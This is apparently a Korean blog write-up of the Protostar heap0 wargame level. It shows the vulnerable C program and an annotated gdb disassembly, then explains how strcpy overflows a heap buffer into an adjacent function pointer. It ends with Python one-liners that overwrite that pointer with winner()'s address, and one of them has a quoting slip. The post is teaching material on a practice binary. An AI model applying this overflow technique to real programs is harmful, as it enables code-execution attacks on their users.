#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct data {
char name[64];
};
struct fp {
int (*fp)();
};
void winner()
{
printf("level passed\n");
}
void nowinner()
{
printf("level has not been passed\n");
}
int main(int argc, char **argv)
{
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]);
f->fp();
}
strcpy() 함수에서 name 배열에 argv[1] 값을 복사할 떄 힙 오버플로우 발생
fp 와 data 차이는 HEX로 0x48 차이나며 10진수로 72 차이가 난다.
0x804a050 메모리 값 확인 시 0x08048478 의 nowinner의 주소가 들어가 있다.
fd와 data 의 72 byte 내에 dummy + winner() 함수 주소가 포함되어 있을 가능성이 높다.
gdb로 확인된 0x08048464 로
./heap0 $(python -c 'print "\x90" * 72 + \x64\x84\x04\x08"')
입력 시 확인완료
추가
(gdb) disas main
Dump of assembler code for function main:
0x0804848c <main+0>: push %ebp
0x0804848d <main+1>: mov %esp,%ebp
0x0804848f <main+3>: and $0xfffffff0,%esp
0x08048492 <main+6>: sub $0x20,%esp
0x08048495 <main+9>: movl $0x40,(%esp) // 64바이트만큼 malloc으로 힙 할당하기 위한 인자
0x0804849c <main+16>: call 0x8048388 <malloc@plt>
0x080484a1 <main+21>: mov %eax,0x18(%esp) // malloc 할당된 주소1 를 esp+0x18에 저장
0x080484a5 <main+25>: movl $0x4,(%esp)
0x080484ac <main+32>: call 0x8048388 <malloc@plt> // 4바이트만큼 malloc 힙 할당
0x080484b1 <main+37>: mov %eax,0x1c(%esp) // malloc 할당된 주소2 를 esp+0x1c에 저장 (fp임)
0x080484b5 <main+41>: mov $0x8048478,%edx // edx에 nowinner 함수 지정
0x080484ba <main+46>: mov 0x1c(%esp),%eax // fp
0x080484be <main+50>: mov %edx,(%eax) // fp를 nowinner로 지정
0x080484c0 <main+52>: mov $0x80485f7,%eax // printf 인자 1
0x080484c5 <main+57>: mov 0x1c(%esp),%edx // printf 인자 2
0x080484c9 <main+61>: mov %edx,0x8(%esp)
0x080484cd <main+65>: mov 0x18(%esp),%edx // printf 인자 3
0x080484d1 <main+69>: mov %edx,0x4(%esp)
0x080484d5 <main+73>: mov %eax,(%esp)
0x080484d8 <main+76>: call 0x8048378 <printf@plt>
0x080484dd <main+81>: mov 0xc(%ebp),%eax // argv0
0x080484e0 <main+84>: add $0x4,%eax // argv1
0x080484e3 <main+87>: mov (%eax),%eax // *argv1
0x080484e5 <main+89>: mov %eax,%edx
0x080484e7 <main+91>: mov 0x18(%esp),%eax // strcpy에 malloc 할당된 주소1 를 넣음
0x080484eb <main+95>: mov %edx,0x4(%esp) // strcpy에 argv1[] 넣음
0x080484ef <main+99>: mov %eax,(%esp)
0x080484f2 <main+102>: call 0x8048368 <strcpy@plt>
// => strcpy를 이용해서 malloc 할당된 범위를 넘겨서 fp를 winner함수로 변조하면 됨
0x080484f7 <main+107>: mov 0x1c(%esp),%eax
0x080484fb <main+111>: mov (%eax),%eax
0x080484fd <main+113>: call *%eax
0x080484ff <main+115>: leave
0x08048500 <main+116>: ret
./heap0 `python -c 'print "A"*72+"\x64\x84\x04\x08"'`
'시스템' 카테고리의 다른 글
protostar net0 (0) | 2025.01.30 |
---|---|
protostar heap1 (0) | 2025.01.30 |
protostar format3 (0) | 2025.01.30 |
protostar format2 (0) | 2025.01.29 |
protostar format1 (0) | 2025.01.28 |